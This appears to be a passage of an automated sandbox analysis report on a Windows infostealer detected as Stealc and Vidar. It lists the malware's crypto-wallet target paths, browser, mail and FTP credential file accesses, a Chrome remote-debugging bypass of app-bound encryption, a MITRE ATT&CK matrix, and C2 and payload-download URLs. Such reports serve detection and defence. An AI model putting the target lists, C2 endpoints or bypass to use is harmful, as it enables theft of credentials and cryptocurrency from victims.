Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2052544248.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2581383835.0000000000671000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	53%	Virustotal		Browse
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/softokn3.dllZk	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpware	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dll.o?	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeK	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlljFZ	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllHo	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732772904000&w=0&anoncknm=app_anon	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false		high
https://www.last.fm/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.instagram.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll.o?	file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.messenger.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.deezer.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://web.telegram.org/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php-	file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlljFZ	file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpA	file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://bard.google.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://web.whatsapp.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://m.kugou.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.office.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IEHJDGIDBAAFIDGCGCAK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpe	file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeK	file.exe, 00000000.00000002.2582213624.0000000001033000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpi	file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllZk	file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tidal.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://gaana.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpware	file.exe, 00000000.00000002.2582213624.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://ntp.msn.com/	000003.log4.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllHo	file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2607600848.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13377246502646565.9.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://word.new?from=EdgeM365Shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.office.com/mail/0/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	false		high
https://m.soundcloud.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.9.dr	false		high
https://music.amazon.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://open.spotify.com	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
https://twitter.com/	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high
